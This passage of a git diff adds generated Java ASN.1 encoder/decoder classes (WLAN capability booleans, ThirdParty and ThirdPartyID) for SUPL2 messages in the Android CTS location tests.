+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apAGType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apSNType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_apSNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apSNType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apSNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apSNType != null) {
+ return ImmutableList.of(TAG_apSNType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new apSNType from encoded stream.
+ */
+ public static apSNType fromPerUnaligned(byte[] encodedBytes) {
+ apSNType result = new apSNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apSNType from encoded stream.
+ */
+ public static apSNType fromPerAligned(byte[] encodedBytes) {
+ apSNType result = new apSNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apSNType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apDevTypeType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_apDevTypeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apDevTypeType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apDevTypeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apDevTypeType != null) {
+ return ImmutableList.of(TAG_apDevTypeType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new apDevTypeType from encoded stream.
+ */
+ public static apDevTypeType fromPerUnaligned(byte[] encodedBytes) {
+ apDevTypeType result = new apDevTypeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apDevTypeType from encoded stream.
+ */
+ public static apDevTypeType fromPerAligned(byte[] encodedBytes) {
+ apDevTypeType result = new apDevTypeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apDevTypeType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apRSSIType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_apRSSIType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apRSSIType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apRSSIType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apRSSIType != null) {
+ return ImmutableList.of(TAG_apRSSIType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new apRSSIType from encoded stream.
+ */
+ public static apRSSIType fromPerUnaligned(byte[] encodedBytes) {
+ apRSSIType result = new apRSSIType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apRSSIType from encoded stream.
+ */
+ public static apRSSIType fromPerAligned(byte[] encodedBytes) {
+ apRSSIType result = new apRSSIType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apRSSIType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apChanFreqType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_apChanFreqType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apChanFreqType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apChanFreqType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apChanFreqType != null) {
+ return ImmutableList.of(TAG_apChanFreqType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new apChanFreqType from encoded stream.
+ */
+ public static apChanFreqType fromPerUnaligned(byte[] encodedBytes) {
+ apChanFreqType result = new apChanFreqType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apChanFreqType from encoded stream.
+ */
+ public static apChanFreqType fromPerAligned(byte[] encodedBytes) {
+ apChanFreqType result = new apChanFreqType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apChanFreqType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apRTDType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_apRTDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apRTDType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apRTDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apRTDType != null) {
+ return ImmutableList.of(TAG_apRTDType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new apRTDType from encoded stream.
+ */
+ public static apRTDType fromPerUnaligned(byte[] encodedBytes) {
+ apRTDType result = new apRTDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apRTDType from encoded stream.
+ */
+ public static apRTDType fromPerAligned(byte[] encodedBytes) {
+ apRTDType result = new apRTDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apRTDType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class setTPType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_setTPType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public setTPType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_setTPType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_setTPType != null) {
+ return ImmutableList.of(TAG_setTPType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new setTPType from encoded stream.
+ */
+ public static setTPType fromPerUnaligned(byte[] encodedBytes) {
+ setTPType result = new setTPType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new setTPType from encoded stream.
+ */
+ public static setTPType fromPerAligned(byte[] encodedBytes) {
+ setTPType result = new setTPType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "setTPType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class setAGType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_setAGType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public setAGType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_setAGType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_setAGType != null) {
+ return ImmutableList.of(TAG_setAGType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new setAGType from encoded stream.
+ */
+ public static setAGType fromPerUnaligned(byte[] encodedBytes) {
+ setAGType result = new setAGType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new setAGType from encoded stream.
+ */
+ public static setAGType fromPerAligned(byte[] encodedBytes) {
+ setAGType result = new setAGType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "setAGType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class setSNType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_setSNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public setSNType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_setSNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_setSNType != null) {
+ return ImmutableList.of(TAG_setSNType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new setSNType from encoded stream.
+ */
+ public static setSNType fromPerUnaligned(byte[] encodedBytes) {
+ setSNType result = new setSNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new setSNType from encoded stream.
+ */
+ public static setSNType fromPerAligned(byte[] encodedBytes) {
+ setSNType result = new setSNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "setSNType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class setRSSIType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_setRSSIType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public setRSSIType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_setRSSIType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_setRSSIType != null) {
+ return ImmutableList.of(TAG_setRSSIType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new setRSSIType from encoded stream.
+ */
+ public static setRSSIType fromPerUnaligned(byte[] encodedBytes) {
+ setRSSIType result = new setRSSIType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new setRSSIType from encoded stream.
+ */
+ public static setRSSIType fromPerAligned(byte[] encodedBytes) {
+ setRSSIType result = new setRSSIType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "setRSSIType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apRepLocType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_apRepLocType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apRepLocType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apRepLocType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apRepLocType != null) {
+ return ImmutableList.of(TAG_apRepLocType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new apRepLocType from encoded stream.
+ */
+ public static apRepLocType fromPerUnaligned(byte[] encodedBytes) {
+ apRepLocType result = new apRepLocType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apRepLocType from encoded stream.
+ */
+ public static apRepLocType fromPerAligned(byte[] encodedBytes) {
+ apRepLocType result = new apRepLocType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apRepLocType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SupportedWLANInfo = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ThirdParty.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ThirdParty.java
new file mode 100755
index 0000000..5186b59
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ThirdParty.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class ThirdParty
+ extends Asn1SequenceOf<ThirdPartyID> {
+ //
+
+ private static final Asn1Tag TAG_ThirdParty
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ThirdParty() {
+ super();
+ setMinSize(1);
+setMaxSize(64);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ThirdParty;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ThirdParty != null) {
+ return ImmutableList.of(TAG_ThirdParty);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ThirdParty from encoded stream.
+ */
+ public static ThirdParty fromPerUnaligned(byte[] encodedBytes) {
+ ThirdParty result = new ThirdParty();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ThirdParty from encoded stream.
+ */
+ public static ThirdParty fromPerAligned(byte[] encodedBytes) {
+ ThirdParty result = new ThirdParty();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public ThirdPartyID createAndAddValue() {
+ ThirdPartyID value = new ThirdPartyID();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ThirdParty = [\n");
+ final String internalIndent = indent + " ";
+ for (ThirdPartyID value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ThirdPartyID.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ThirdPartyID.java
new file mode 100755
index 0000000..f54226d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/ThirdPartyID.java
@@ -0,0 +1,1300 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1IA5String;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1OctetString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.Asn1VisibleString;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class ThirdPartyID extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_ThirdPartyID
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "ThirdPartyID: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public ThirdPartyID() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ThirdPartyID;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ThirdPartyID != null) {
+ return ImmutableList.of(TAG_ThirdPartyID);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new ThirdPartyID from encoded stream.
+ */
+ public static ThirdPartyID fromPerUnaligned(byte[] encodedBytes) {
+ ThirdPartyID result = new ThirdPartyID();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ThirdPartyID from encoded stream.
+ */
+ public static ThirdPartyID fromPerAligned(byte[] encodedBytes) {
+ ThirdPartyID result = new ThirdPartyID();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $LogicalName(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new ThirdPartyID.logicalNameType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ThirdPartyID.logicalNameType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Msisdn(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new ThirdPartyID.msisdnType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ThirdPartyID.msisdnType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Emailaddr(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new ThirdPartyID.emailaddrType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ThirdPartyID.emailaddrType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Sip_uri(Asn1Tag.fromClassAndNumber(2, 3),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new ThirdPartyID.sip_uriType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ThirdPartyID.sip_uriType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Ims_public_identity(Asn1Tag.fromClassAndNumber(2, 4),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new ThirdPartyID.ims_public_identityType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ThirdPartyID.ims_public_identityType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Min(Asn1Tag.fromClassAndNumber(2, 5),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new ThirdPartyID.minType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ThirdPartyID.minType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Mdn(Asn1Tag.fromClassAndNumber(2, 6),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new ThirdPartyID.mdnType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ThirdPartyID.mdnType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Uri(Asn1Tag.fromClassAndNumber(2, 7),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new ThirdPartyID.uriType();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ThirdPartyID.uriType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
